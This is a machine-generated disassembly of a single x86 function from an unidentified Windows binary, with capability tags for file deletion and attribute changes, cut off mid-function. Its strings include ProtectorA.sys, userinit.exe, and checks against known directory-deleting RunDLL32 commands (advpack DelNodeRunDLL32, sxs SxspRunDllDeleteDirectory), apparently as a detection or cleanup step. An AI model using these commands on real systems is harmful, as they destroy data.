Function at 0x405960
Capabilities:
Delete file
Set file attributes

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x483720
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
mov eax, 0x12a8
call fcn.0047bda0
mov eax, dword [ecx + 0x218]
push ebx
push esi
push edi
cmp eax, 6
mov dword [ebp - 0x10], esp
mov dword [ebp - 0x34], ecx
mov dword [ebp - 4], 0
jb 0x40bbcb
mov eax, dword [ecx + 0x10c]
test eax, eax
je 0x408d5b
add ecx, 0x10210
mov dword [ebp - 0x30], ecx
mov eax, dword [ebp - 0x34]
mov ecx, dword [eax + 0x218]
lea esi, [eax + 0x20204]
lea ecx, [ecx + eax + 0x10210]
cmp ecx, esi
jb 0x4059d5
mov ecx, esi
mov eax, dword [ebp - 0x30]
cmp eax, ecx
jae 0x40bbbe
mov edx, eax
or ecx, 0xffffffff
xor eax, eax
lea edi, [edx + 0x18]
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov ebx, ecx
add ebx, 4
and ebx, 0xfffffffc
cmp ebx, 0xfff
mov dword [ebp - 0x38], ebx
jbe 0x405a08
mov byte [edx + 0x1017], al
mov edx, dword [ebp - 0x30]
mov ecx, dword [ebp - 0x34]
add edx, 0x14
push edx
call fcn.0040bbe0
test eax, eax
je 0x408c34
push 0xfa
push esi
push 0x51afd8
call fcn.0047b120
push str.regService
push 0x51afd8
call fcn.0047bec0
add esp, 0x14
test eax, eax
jne 0x4059b9
push str.:endp_
push 0x51afd8
call fcn.0047bec0
add esp, 8
test eax, eax
jne 0x4059b9
mov eax, dword [0x54ea84]
mov edi, 1
cmp eax, edi
jne 0x405ae9
mov eax, dword [0x57d034]
push 0x51afd8
test eax, eax
jne 0x405a89
call fcn.00403680
add esp, 4
jmp 0x405ab7
push 0x54e900
push 0x54ab8c
sub esp, 0x1a8
mov ecx, 0x6a
mov esi, 0x519c28
mov edi, esp
rep movsd dword es:[edi], dword [esi]
call fcn.00404220
add esp, 0x1b4
mov edi, 1
mov eax, dword [0x57cd80]
cmp eax, 0x12c
jle 0x405acc
push eax
call fcn.0044a290
add esp, 4
mov eax, dword [0x57cd8c]
test eax, eax
jne 0x4059b9
call fcn.0044aa20
mov dword [0x57cd8c], edi
jmp 0x4059b9
cmp dword [0x54d9b0], edi
jne 0x405b54
cmp dword [0x54d92c], edi
jne 0x405b54
mov eax, dword [0x57cff0]
test eax, eax
jne 0x405b54
mov eax, dword [0x57cffc]
test eax, eax
jne 0x405b54
mov eax, dword [0x57d034]
push 0x51afd8
test eax, eax
jne 0x405b26
call fcn.00403680
add esp, 4
jmp 0x4059b9
push 0x54e900
push 0x54ab8c
sub esp, 0x1a8
mov ecx, 0x6a
mov esi, 0x519c28
mov edi, esp
rep movsd dword es:[edi], dword [esi]
call fcn.00404220
add esp, 0x1b4
jmp 0x4059b9
cmp dword [0x540f64], edi
je 0x4068c5
cmp dword [0x563f24], edi
je 0x4068c5
cmp dword [0x4dec88], edi
je 0x4068c5
cmp dword [0x54fc50], edi
je 0x4068c5
cmp dword [0x54be58], edi
je 0x4068c5
cmp dword [0x4ca378], edi
je 0x4068c5
cmp dword [0x57cd84], edi
jne 0x405c85
push 0x50ed70
call fcn.00435510
mov eax, dword [0x57cd68]
add esp, 4
cmp eax, edi
push 0x50ed70
jne 0x405bd1
lea eax, [ebp - 0x7b8]
push str._s_
push eax
jmp 0x405bdd
lea ecx, [ebp - 0x7b8]
push 0x4920f4
push ecx
call fcn.0047a8f8
add esp, 0xc
push 0x50ed70
call fcn.0045a860
mov eax, dword [0x57d034]
add esp, 4
test eax, eax
push 0x51afd8
jne 0x405c0a
call fcn.00403680
add esp, 4
jmp 0x405c33
push 0x54e900
push 0x54ab8c
sub esp, 0x1a8
mov ecx, 0x6a
mov esi, 0x519c28
mov edi, esp
rep movsd dword es:[edi], dword [esi]
call fcn.00404220
add esp, 0x1b4
mov eax, dword [0x57d034]
test eax, eax
jne 0x405c50
lea edx, [ebp - 0x7b8]
push edx
call fcn.00404010
add esp, 4
jmp 0x4059b9
lea eax, [ebp - 0x7b8]
push eax
push 0x54e900
push 0x54ab8c
sub esp, 0x1a8
mov ecx, 0x6a
mov esi, 0x519c28
mov edi, esp
rep movsd dword es:[edi], dword [esi]
call fcn.00404380
add esp, 0x1b4
jmp 0x4059b9
cmp dword [0x57cc3c], edi
jne 0x405d1d
push str.Broadcom_Corporation
lea ecx, [ebp - 0x9b8]
push 0x4920c8
push ecx
mov dword [0x57cc3c], 0
call fcn.0047a8f8
mov eax, dword [0x57d034]
add esp, 0xc
test eax, eax
push 0x51afd8
jne 0x405ccc
call fcn.00403680
add esp, 4
jmp 0x405cf5
push 0x54e900
push 0x54ab8c
sub esp, 0x1a8
mov ecx, 0x6a
mov esi, 0x519c28
mov edi, esp
rep movsd dword es:[edi], dword [esi]
call fcn.00404220
add esp, 0x1b4
mov eax, dword [0x57d034]
test eax, eax
jne 0x405d12
lea edx, [ebp - 0x9b8]
push edx
call fcn.00404010
add esp, 4
jmp 0x4059b9
lea eax, [ebp - 0x9b8]
jmp 0x405c56
cmp dword [0x57cc48], edi
je 0x408c43
cmp dword [0x57cc4c], edi
je 0x408c6e
cmp dword [0x57cc50], edi
je 0x408c66
cmp dword [0x57cc54], edi
jne 0x405e03
xor ebx, ebx
xor esi, esi
cmp esi, 6
jge 0x405d93
cmp dword [esi*4 + 0x57cd40], edi
jne 0x405d90
mov ecx, esi
lea edx, [ebp - 0xbb8]
shl ecx, 8
add ecx, str.ProtectorA.sys
push ecx
push 0x4f1934
push 0x50d7a8
push 0x48bad0
push edx
call fcn.0047a8f8
add esp, 0x14
mov dword [esi*4 + 0x57cd40], ebx
inc esi
jmp 0x405d51
mov eax, dword [0x57d034]
mov dword [0x57cc54], ebx
cmp eax, ebx
push 0x51afd8
jne 0x405db1
call fcn.00403680
add esp, 4
jmp 0x405dda
push 0x54e900
push 0x54ab8c
sub esp, 0x1a8
mov ecx, 0x6a
mov esi, 0x519c28
mov edi, esp
rep movsd dword es:[edi], dword [esi]
call fcn.00404220
add esp, 0x1b4
mov eax, dword [0x57d034]
test eax, eax
jne 0x405df7
lea eax, [ebp - 0xbb8]
push eax
call fcn.00404010
add esp, 4
jmp 0x4059b9
lea ecx, [ebp - 0xbb8]
push ecx
jmp 0x405c57
cmp dword [0x57cd88], edi
jne 0x405ebd
call fcn.00449d50
lea edx, [ebp - 0xab8]
push 0x4920a0
push edx
call fcn.0047a8f8
mov eax, dword [0x57d034]
add esp, 8
test eax, eax
push 0x51afd8
jne 0x405e40
call fcn.00403680
add esp, 4
jmp 0x405e6e
push 0x54e900
push 0x54ab8c
sub esp, 0x1a8
mov ecx, 0x6a
mov esi, 0x519c28
mov edi, esp
rep movsd dword es:[edi], dword [esi]
call fcn.00404220
add esp, 0x1b4
mov edi, 1
mov eax, dword [0x57d034]
test eax, eax
jne 0x405e88
lea eax, [ebp - 0xab8]
push eax
call fcn.00404010
add esp, 4
jmp 0x405ebd
lea ecx, [ebp - 0xab8]
mov esi, 0x519c28
push ecx
push 0x54e900
push 0x54ab8c
mov ecx, 0x6a
sub esp, 0x1a8
mov edi, esp
rep movsd dword es:[edi], dword [esi]
call fcn.00404380
add esp, 0x1b4
mov edi, 1
cmp dword [0x57ce10], edi
jne 0x405fea
push str.OracleOraHome92TNSListener
push 0x50ed70
call fcn.0047fde0
add esp, 8
test eax, eax
je 0x405f3c
push str.OracleOraHome
push 0x50ed70
call fcn.0047bec0
add esp, 8
test eax, eax
jne 0x405f3c
push 0x50ed70
call fcn.00435510
mov eax, dword [0x57cd68]
add esp, 4
cmp eax, edi
push 0x50ed70
push 0x49203c
jne 0x405f1e
lea edx, [ebp - 0x2b8]
push edx
jmp 0x405f25
lea eax, [ebp - 0x2b8]
push eax
call fcn.0047a8f8
add esp, 0xc
push 0x50ed70
call fcn.0045a860
add esp, 4
jmp 0x405f55
push 0x50ed70
lea ecx, [ebp - 0x2b8]
push str._s_ORACLE
push ecx
call fcn.0047a8f8
add esp, 0xc
mov eax, dword [0x57d034]
push 0x51afd8
test eax, eax
jne 0x405f6d
call fcn.00403680
add esp, 4
jmp 0x405f9b
push 0x54e900
push 0x54ab8c
sub esp, 0x1a8
mov ecx, 0x6a
mov esi, 0x519c28
mov edi, esp
rep movsd dword es:[edi], dword [esi]
call fcn.00404220
add esp, 0x1b4
mov edi, 1
mov eax, dword [0x57d034]
test eax, eax
jne 0x405fb5
lea edx, [ebp - 0x2b8]
push edx
call fcn.00404010
add esp, 4
jmp 0x405fea
lea eax, [ebp - 0x2b8]
mov ecx, 0x6a
push eax
push 0x54e900
push 0x54ab8c
mov esi, 0x519c28
sub esp, 0x1a8
mov edi, esp
rep movsd dword es:[edi], dword [esi]
call fcn.00404380
add esp, 0x1b4
mov edi, 1
cmp dword [0x54fe5c], edi
jne 0x40600c
push 0x492024
push 0x51afd8
call fcn.0047bec0
add esp, 8
test eax, eax
je 0x4068c5
cmp dword [0x54bf5c], edi
jne 0x40608f
push 0x51abd4
mov dword [0x54bf5c], 0
call fcn.00448ce0
add esp, 4
cmp eax, 2
jne 0x406049
push 0x4a51ac
call fcn.0045a020
add esp, 4
mov dword [0x57cc8c], edi
mov dword [0x57cec0], edi
mov eax, dword [0x57d034]
push 0x51afd8
test eax, eax
jne 0x406061
call fcn.00403680
add esp, 4
jmp 0x40608f
push 0x54e900
push 0x54ab8c
sub esp, 0x1a8
mov ecx, 0x6a
mov esi, 0x519c28
mov edi, esp
rep movsd dword es:[edi], dword [esi]
call fcn.00404220
add esp, 0x1b4
mov edi, 1
cmp dword [0x4a2fe4], edi
jne 0x4060d5
push 0x51acd8
mov dword [0x4a2fe4], 0
call fcn.00448ce0
add esp, 4
cmp eax, 2
jne 0x4068c5
push 0x4a51ac
call fcn.0045a020
add esp, 4
mov dword [0x57cc90], edi
mov dword [0x57cec0], edi
jmp 0x4068c5
cmp dword [0x513010], edi
jne 0x40610f
push 0x54c1a4
mov dword [0x513010], 0
call fcn.0045aa80
add esp, 4
cmp eax, 2
jne 0x4068c5
push 0x4a51ac
call fcn.0045a020
add esp, 4
jmp 0x4068c5
cmp dword [0x50be18], edi
jne 0x406121
call fcn.00434540
jmp 0x4068c5
cmp dword [0x52d51c], edi
jne 0x406133
call fcn.00434b90
jmp 0x4068c5
cmp dword [0x50fa48], edi
jne 0x406145
call fcn.00433460
jmp 0x4068c5
cmp dword [0x54d928], edi
jne 0x406157
call fcn.00435c10
jmp 0x4068c5
cmp dword [0x54bf60], edi
jne 0x4061c6
cmp dword [0x54f98c], edi
jne 0x4068c5
push 0x57d044
push 0x54c024
call fcn.0045a2b0
mov eax, dword [0x57d034]
add esp, 8
test eax, eax
push 0x491fe0
jne 0x406198
call fcn.00404010
add esp, 4
jmp 0x4068c5
push 0x54e900
push 0x54ab8c
sub esp, 0x1a8
mov ecx, 0x6a
mov esi, 0x519c28
mov edi, esp
rep movsd dword es:[edi], dword [esi]
call fcn.00404380
add esp, 0x1b4
jmp 0x4068c5
cmp dword [0x54a080], edi
jne 0x406363
push 0x57cb28
call fcn.0044ae90
add esp, 4
mov ebx, eax
push str.advpack.dll_DelNodeRunDLL32
push 0x4a3b6c
call fcn.0047bec0
add esp, 8
test eax, eax
je 0x4061fc
mov ebx, 2
push str.sxs.dll_SxspRunDllDeleteDirectory
push 0x4a3b6c
call fcn.0047bec0
add esp, 8
test eax, eax
je 0x406217
mov ebx, 2
push str.grpconv__o
push 0x4a3b6c
call fcn.0047bec0
add esp, 8
test eax, eax
je 0x406234
mov ebx, 2
jmp 0x406261
cmp ebx, 1
jne 0x406261
push 0x54e800
call fcn.0045a020
add esp, 4
push 0x80
push str.c:endpcache_runonce_info.txt
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push str.c:endpcache_runonce_info.txt
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
cmp dword [0x4df40c], 1
jne 0x406277
push 0x54e800
call fcn.0045a020
add esp, 4
mov eax, dword [0x57d034]
push 0x51afd8
test eax, eax
jne 0x40628f
call fcn.00403680
add esp, 4
jmp 0x4062b8
push 0x54e900
push 0x54ab8c
sub esp, 0x1a8
mov ecx, 0x6a
mov esi, 0x519c28
mov edi, esp
rep movsd dword es:[edi], dword [esi]
call fcn.00404220
add esp, 0x1b4
mov ecx, dword [0x57ce00]
mov eax, 1
cmp ecx, eax
jne 0x406312
push 0x4a3b6c
lea ecx, [ebp - 0x11b8]
push 0x491f44
push ecx
mov dword [0x57ce00], 0
call fcn.0047a8f8
mov eax, dword [0x57d034]
add esp, 0xc
test eax, eax
jne 0x406307
lea edx, [ebp - 0x11b8]
push edx
call fcn.00404010
add esp, 4
jmp 0x4059b9
lea eax, [ebp - 0x11b8]
jmp 0x405c56
cmp ebx, eax
je 0x406322
cmp dword [0x4df40c], eax
jne 0x4059b9
push 0x4a3b6c
lea ecx, [ebp - 0xfb8]
push 0x491ef8
push ecx
call fcn.0047a8f8
mov eax, dword [0x57d034]
add esp, 0xc
test eax, eax
jne 0x406358
lea edx, [ebp - 0xfb8]
push edx
call fcn.00404010
add esp, 4
jmp 0x4059b9
lea eax, [ebp - 0xfb8]
jmp 0x405c56
cmp dword [0x57cc58], edi
jne 0x40646f
xor ebx, ebx
xor esi, esi
mov dword [0x57cc58], ebx
cmp esi, 7
jge 0x4063bb
cmp dword [esi*4 + 0x57cd0c], edi
jne 0x4063b8
mov ecx, esi
lea edx, [ebp - 0x5b8]
shl ecx, 8
add ecx, 0x48d098
push ecx
push 0x4f1934
push 0x50d7a8
push 0x491ed0
push edx
call fcn.0047a8f8
add esp, 0x14
mov dword [esi*4 + 0x57cd0c], ebx
inc esi
jmp 0x406379
cmp dword [0x57cc34], edi
jne 0x406406
xor esi, esi
cmp esi, 2
jge 0x406406
cmp dword [esi*4 + 0x57cd04], edi
jne 0x406403
mov eax, esi
lea ecx, [ebp - 0x5b8]
shl eax, 8
add eax, 0x48c398
push eax
push 0x4f1934
push 0x50d7a8
push 0x491ed0
push ecx
call fcn.0047a8f8
add esp, 0x14
mov dword [esi*4 + 0x57cd04], ebx
inc esi
jmp 0x4063c5
mov eax, dword [0x57d034]
push 0x51afd8
cmp eax, ebx
jne 0x40641e
call fcn.00403680
add esp, 4
jmp 0x406447
push 0x54e900
push 0x54ab8c
sub esp, 0x1a8
mov ecx, 0x6a
mov esi, 0x519c28
mov edi, esp
rep movsd dword es:[edi], dword [esi]
call fcn.00404220
add esp, 0x1b4
mov eax, dword [0x57d034]
test eax, eax
jne 0x406464
lea edx, [ebp - 0x5b8]
push edx
call fcn.00404010
add esp, 4
jmp 0x4059b9
lea eax, [ebp - 0x5b8]
jmp 0x405c56
cmp dword [0x50d828], edi
je 0x4068c5
cmp dword [0x51acd4], edi
jne 0x406572
mov eax, dword [0x57d034]
push 0x51afd8
test eax, eax
jne 0x40649f
call fcn.00403680
add esp, 4
jmp 0x4064cd
push 0x54e900
push 0x54ab8c
sub esp, 0x1a8
mov ecx, 0x6a
mov esi, 0x519c28
mov edi, esp
rep movsd dword es:[edi], dword [esi]
call fcn.00404220
add esp, 0x1b4
mov edi, 1
push 0x491ecc
push 0x54fc54
call fcn.0047bec0
add esp, 8
test eax, eax
je 0x406536
push 0x54fc54
call fcn.00433ca0
mov eax, dword [0x57d034]
add esp, 4
test eax, eax
push 0x491e8c
jne 0x406508
call fcn.00404010
add esp, 4
jmp 0x406536
push 0x54e900
push 0x54ab8c
sub esp, 0x1a8
mov ecx, 0x6a
mov esi, 0x519c28
mov edi, esp
rep movsd dword es:[edi], dword [esi]
call fcn.00404380
add esp, 0x1b4
mov edi, 1
call fcn.004352b0
movsx eax, ax
cmp eax, edi
jne 0x4059b9
push 0x54fc54
call fcn.00433e50
mov eax, dword [0x57d034]
add esp, 4
test eax, eax
push 0x491e50
jne 0x405c57
call fcn.00404010
add esp, 4
jmp 0x4059b9
cmp dword [0x4e192c], edi
jne 0x406591
push 0x54e078
call fcn.0045a020
add esp, 4
call fcn.004542b0
jmp 0x4068c5
cmp dword [0x4a3b68], edi
jne 0x4065b0
push 0x50c224
call fcn.0045a020
add esp, 4
call fcn.004542b0
jmp 0x4068c5
cmp dword [0x57ce34], edi
jne 0x4065c7
mov dword [0x57ce34], 0
jmp 0x4068c5
cmp dword [0x4e1930], edi
je 0x4068c5
cmp dword [0x4ca230], edi
jne 0x4065f7
call fcn.0045b440
push 0x57d044
push 0x4df454
call fcn.0045a2b0
add esp, 8
jmp 0x4068c5
cmp dword [0x50be1c], edi
jne 0x40669c
mov eax, dword [0x57d034]
push 0x51afd8
test eax, eax
jne 0x40661b
call fcn.00403680
add esp, 4
jmp 0x406649
push 0x54e900
push 0x54ab8c
sub esp, 0x1a8
mov ecx, 0x6a
mov esi, 0x519c28
mov edi, esp
rep movsd dword es:[edi], dword [esi]
call fcn.00404220
add esp, 0x1b4
mov edi, 1
mov eax, dword [0x57d034]
push 0x491e10
test eax, eax
jne 0x406661
call fcn.00404010
add esp, 4
jmp 0x40668f
push 0x54e900
push 0x54ab8c
sub esp, 0x1a8
mov ecx, 0x6a
mov esi, 0x519c28
mov edi, esp
rep movsd dword es:[edi], dword [esi]
call fcn.00404380
add esp, 0x1b4
mov edi, 1
push 0x51b458
call fcn.0045a020
add esp, 4
cmp dword [0x54d9b4], edi
jne 0x40674c
mov eax, dword [0x57d034]
push 0x51afd8
test eax, eax
jne 0x4066c0
call fcn.00403680
add esp, 4
jmp 0x4066e9
push 0x54e900
push 0x54ab8c
sub esp, 0x1a8
mov ecx, 0x6a
mov esi, 0x519c28
mov edi, esp
rep movsd dword es:[edi], dword [esi]
call fcn.00404220
add esp, 0x1b4
mov eax, dword [0x57d034]
push 0x491dcc
test eax, eax
jne 0x406711
call fcn.00404010
add esp, 4
push 0x561ce4
call fcn.0045a020
add esp, 4
jmp 0x4059b9
push 0x54e900
push 0x54ab8c
sub esp, 0x1a8
mov ecx, 0x6a
mov esi, 0x519c28
mov edi, esp
rep movsd dword es:[edi], dword [esi]
call fcn.00404380
add esp, 0x1b4
push 0x561ce4
call fcn.0045a020
add esp, 4
jmp 0x4059b9
cmp dword [0x545c68], edi
jne 0x406766
push 0x50bfa0
call fcn.0045a020
add esp, 4
jmp 0x4059b9
cmp dword [0x51931c], edi
je 0x4068c5
cmp dword [0x4a2fe0], edi
jne 0x40678c
push 0x4a3068
call fcn.0045a020
add esp, 4
call fcn.0046d6d0
cmp dword [0x5490b0], edi
jne 0x4067a1
push 0x512490
call fcn.0045a020
add esp, 4
cmp dword [0x54ea80], edi
jne 0x4067bb
push str.userinit.exe
push 0x54dc78
call fcn.0045a2b0
add esp, 8
cmp dword [0x50d82c], edi
jne 0x4067d5
push 0x57d044
push 0x54e980
call fcn.0045a2b0
add esp, 8
cmp dword [0x50c220], edi
jne 0x4067ef
push 0x57d044
push 0x4def8c
call fcn.0045a2b0
add esp, 8
cmp dword [0x519f10], edi
jne 0x406818
cmp dword [0x52f520], edi
jne 0x406806
call fcn.0044b0a0
jmp 0x406818
push 0x48ba7c
push 0x519728
call fcn.0045a2b0
add esp, 8
cmp dword [0x510e4c], edi
jne 0x406837
push 0x57d044
push 0x561360
call fcn.0045a2b0
add esp, 8
call fcn.004542b0
cmp dword [0x517418], edi
jne 0x40689c
mov eax, dword [0x57d034]
push 0x51afd8
test eax, eax
jne 0x406864
call fcn.00403680
add esp, 4
mov dword [0x517418], 0
jmp 0x4059b9
push 0x54e900
push 0x54ab8c
sub esp, 0x1a8
mov ecx, 0x6a
mov esi, 0x519c28
mov edi, esp
rep movsd dword es:[edi], dword [esi]
call fcn.00404220
add esp, 0x1b4
mov dword [0x517418], 0
jmp 0x4059b9
cmp dword [0x54ab84], edi
jne 0x4068e4
push 0x57d044
push 0x54bcd4
call fcn.0042c670
add esp, 8
mov dword [0x54ab84], 0
call fcn.0046d7c0
mov eax, dword [0x57d034]
push 0x51afd8
test eax, eax
jne 0x405b26
call fcn.00403680
add esp, 4
jmp 0x4059b9
cmp dword [0x54fe58], edi
jne 0x406951
call fcn.00431e80
mov eax, dword [0x57d034]
push 0x51afd8
test eax, eax
jne 0x406909
call fcn.00403680
add esp, 4
jmp 0x406932
push 0x54e900
push 0x54ab8c
sub esp, 0x1a8
mov ecx, 0x6a
mov esi, 0x519c28
mov edi, esp
rep movsd dword es:[edi], dword [esi]
call fcn.00404220
add esp, 0x1b4
mov eax, dword [0x57d034]
push 0x491d74
test eax, eax
jne 0x405c57
call fcn.00404010
add esp, 4
jmp 0x4059b9
cmp dword [0x4f1e14], edi
jne 0x4069be
call fcn.00435dc0
mov eax, dword [0x57d034]
push 0x51afd8
test eax, eax
jne 0x406976
call fcn.00403680
add esp, 4
jmp 0x40699f
push 0x54e900
push 0x54ab8c
sub esp, 0x1a8
mov ecx, 0x6a
mov esi, 0x519c28
mov edi, esp
rep movsd dword es:[edi], dword [esi]
call fcn.00404220
add esp, 0x1b4
mov eax, dword [0x57d034]
push 0x491d38
test eax, eax
jne 0x405c57
call fcn.00404010
add esp, 4
jmp 0x4059b9
cmp dword [0x4cd884], edi
jne 0x406a41
push 0x545ae8
call fcn.0042cc30
mov eax, dword [0x57d034]
add esp, 4
test eax, eax
push 0x491cf8
jne 0x4069eb
call fcn.00404010
add esp, 4
jmp 0x406a19
push 0x54e900
push 0x54ab8c
sub esp, 0x1a8
mov ecx, 0x6a
mov esi, 0x519c28
mov edi, esp
rep movsd dword es:[edi], dword [esi]
call fcn.00404380
add esp, 0x1b4
mov edi, 1
push 0x48b7ec
push 0x57cb28
call fcn.0047bec0
add esp, 8
test eax, eax
jne 0x406a41
push 0x51afd8
call fcn.00403680
add esp, 4
jmp 0x4059b9
cmp dword [0x4df450], edi
jne 0x406a5b
push 0x57d044
push 0x50c120
call fcn.0045a2b0
add esp, 8
cmp dword [0x5195a4], edi
jne 0x406a70
push 0x545ae8
call fcn.0045a6f0
add esp, 4
push 0x51afd8
push 0x4cbd80
call fcn.0047fde0
add esp, 8
test eax, eax
jne 0x406a8c
inc dword [0x57ce14]
push 0x51afd8
push 0x4cbd80
call fcn.0047fde0
add esp, 8
test eax, eax
jne 0x406aaf
cmp dword [0x57ce14], 0xf
jle 0x408c34
mov eax, dword [0x57d034]
mov dword [0x57ce14], 0
test eax, eax
push 0x51afd8
jne 0x406ad1
call fcn.00403680
add esp, 4
jmp 0x406afa
push 0x54e900
push 0x54ab8c
sub esp, 0x1a8
mov ecx, 0x6a
mov esi, 0x519c28
mov edi, esp
rep movsd dword es:[edi], dword [esi]
call fcn.00404220
add esp, 0x1b4
mov edi, 0x51afd8
or ecx, 0xffffffff
xor eax, eax
push 0x48b7ec
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push 0x57cb28
mov edx, ecx
mov esi, edi
mov edi, 0x4cbd80
mov byte [0x54e17c], 0
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
mov byte [0x54e37c], 0
and ecx, 3
rep movsb byte es:[edi], byte [esi]
xor esi, esi
mov dword [0x4ca37c], esi
mov dword [0x54bdd4], esi
mov dword [0x54d6a4], esi
call fcn.0047bec0
add esp, 8
test eax, eax
jne 0x406b6b
cmp dword [0x57cff0], esi
jne 0x406b6b
cmp dword [0x57cffc], esi
je 0x4059b9
mov eax, dword [0x52d1d8]
mov ebx, 1
cmp eax, ebx
je 0x408075
cmp dword [0x54ea80], ebx
je 0x408075
cmp dword [0x50c220], ebx
je 0x408075
cmp dword [0x519f10], ebx
je 0x408075
cmp dword [0x4cd884], ebx
je 0x408075
cmp dword [0x50d82c], ebx
je 0x408075
cmp dword [0x57cc28], ebx
je 0x408075
cmp dword [0x50be1c], ebx
je 0x408075
cmp dword [0x54e178], ebx
je 0x408075
cmp dword [0x4df450], ebx
je 0x408075
cmp dword [0x5193a0], ebx
je 0x408075
cmp dword [0x4df5e4], ebx
je 0x408075
cmp dword [0x54d92c], ebx
jne 0x408049
cmp dword [0x54ab88], ebx
jne 0x407f6f
push 0x491cf4
push 0x57cb28
call fcn.0047bec0
add esp, 8
test eax, eax
jne 0x406c5b
push 0x491cf0
push 0x57cb28
call fcn.0047bec0
add esp, 8
test eax, eax
jne 0x406c5b
cmp dword [0x57cc98], ebx
je 0x406c5b
cmp dword [0x57cffc], ebx
jne 0x406d1a
jmp 0x406c63
cmp dword [0x57cffc], ebx
jne 0x406c9d
mov eax, dword [0x57d004]
xor esi, esi
cmp eax, esi
mov dword [0x57cffc], esi
jle 0x406cb6
shl eax, 6
or ecx, 0xffffffff
lea edi, [eax + 0x519ed4]
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, 0x57cb28
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
push 0x54d6a4
push 0x57cb28
call fcn.0044f590
add esp, 8
mov dword [0x54bdd4], eax
xor esi, esi
mov ecx, dword [0x54bdd4]
push 0x491ce8
push ecx
call fcn.0047bec0
add esp, 8
test eax, eax
jne 0x406ce6
mov edx, dword [0x54bdd4]
push 0x491ce0
push edx
call fcn.0047bec0
add esp, 8
test eax, eax
je 0x406d12
cmp dword [0x57cc5c], ebx
jne 0x406d04
lea eax, [ebp - 0x18]
lea ecx, [ebp - 0x20]
push eax
push ecx
mov dword [ebp - 0x20], esi
mov dword [ebp - 0x18], esi
call fcn.004604f0
add esp, 8
cmp dword [0x57cc98], ebx
jne 0x406d12
mov dword [0x57cc9c], ebx
mov dword [0x57cc98], esi
jmp 0x406d38
mov edx, dword [0x57ce74]
push 0x54d6a4
push 0x57cb28
push edx
call fcn.00439170
add esp, 0xc
mov dword [0x54bdd4], eax
mov eax, dword [0x54bdd4]
push 0x491cd0
push eax
call fcn.0047bec0
add esp, 8
test eax, eax
jne 0x4080ab
push str..sys
push 0x57cb28
call fcn.0047bec0
add esp, 8
test eax, eax
jne 0x406da9
push str..SYS
push 0x57cb28
call fcn.0047bec0
add esp, 8
test eax, eax
jne 0x406da9
push str..Sys
push 0x57cb28
call fcn.0047bec0
add esp, 8
test eax, eax
jne 0x406da9
cmp dword [0x57cd68], ebx
je 0x406da9
cmp dword [0x57cff0], ebx
jne 0x4080ab
mov eax, dword [0x57cff0]
xor esi, esi
xor ebx, ebx
cmp eax, 1
mov dword [ebp - 0x20], esi
mov dword [ebp - 0x28], esi
mov dword [ebp - 0x14], ebx
jne 0x406e5e
mov eax, dword [0x57cff8]
mov dword [0x57cff0], esi
cmp eax, esi
jle 0x406e9d
shl eax, 6
lea ecx, [eax + 0x54b794]
push ecx
call fcn.00445b70
mov edx, dword [0x57cff8]
mov ebx, eax
shl edx, 6
or ecx, 0xffffffff
xor eax, eax
lea edi, [edx + 0x54b794]
add esp, 4
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push 0x54d6a4
mov eax, ecx
mov esi, edi
mov edi, 0x57cb28
push 0x57cb28
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
mov dword [ebp - 0x14], ebx
rep movsb byte es:[edi], byte [esi]
mov edi, 0x57cb28
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov edx, ecx
mov esi, edi
mov edi, dword [0x54d6a4]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
call fcn.0043f2c0
add esp, 8
mov dword [0x54bdd4], eax
xor esi, esi
jmp 0x406e9d
push str.tem32_
push 0x57cb28
call fcn.0047bec0
add esp, 8
test eax, eax
je 0x406e83
push 0x57cb28
call fcn.00445b70
add esp, 4
jmp 0x406e98
lea eax, [ebp - 0x28]
lea ecx, [ebp - 0x20]
push eax
push ecx
push 0x57cb28
call fcn.00465ff0
add esp, 0xc
mov ebx, eax
mov dword [ebp - 0x14], ebx
push ebx
push 0x57cb28
push 0x491c98
push 0x519828
call fcn.0047a8f8
mov eax, dword [0x57d034]
add esp, 0x10
cmp eax, esi
push 0x519828
jne 0x406ecd
call fcn.00404010
add esp, 4
jmp 0x406ef6
push 0x54e900
push 0x54ab8c
sub esp, 0x1a8
mov ecx, 0x6a
mov esi, 0x519c28
mov edi, esp
rep movsd dword es:[edi], dword [esi]
call fcn.00404380
add esp, 0x1b4
push 0x519828
push 0x4f1934
push 0x50d7a8
push str._s__s___s
push 0x563724
mov byte [0x563724], 0
call fcn.0047a8f8
push 0x491c80
push ebx
call fcn.0047bec0
add esp, 0x1c
test eax, eax
jne 0x4059b9
push 0x491c6c
push 0x519828
call fcn.0047bec0
add esp, 8
test eax, eax
je 0x406ff4
push str.dump_wmimmc
push 0x52d2dc
call fcn.0047fde0
add esp, 8
test eax, eax
je 0x4059b9
push 0x52d2dc
call fcn.0045b1a0
mov ebx, dword [0x57cde0]
mov edi, 0x57cb28
mov edx, ebx
or ecx, 0xffffffff
xor eax, eax
add esp, 4
shl edx, 8
repne scasb al, byte es:[edi]
not ecx
lea esi, [edx + 0x54c2a4]
sub edi, ecx
mov eax, ecx
mov dword [ebp - 0x18], esi
mov esi, edi
mov edi, dword [ebp - 0x18]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
lea edx, [edx + 0x50fa4c]
rep movsb byte es:[edi], byte [esi]
mov edi, 0x50ed70
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov dword [0x57cd9c], 1
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
inc ebx
cmp ebx, 0x14
mov dword [0x57cde0], ebx
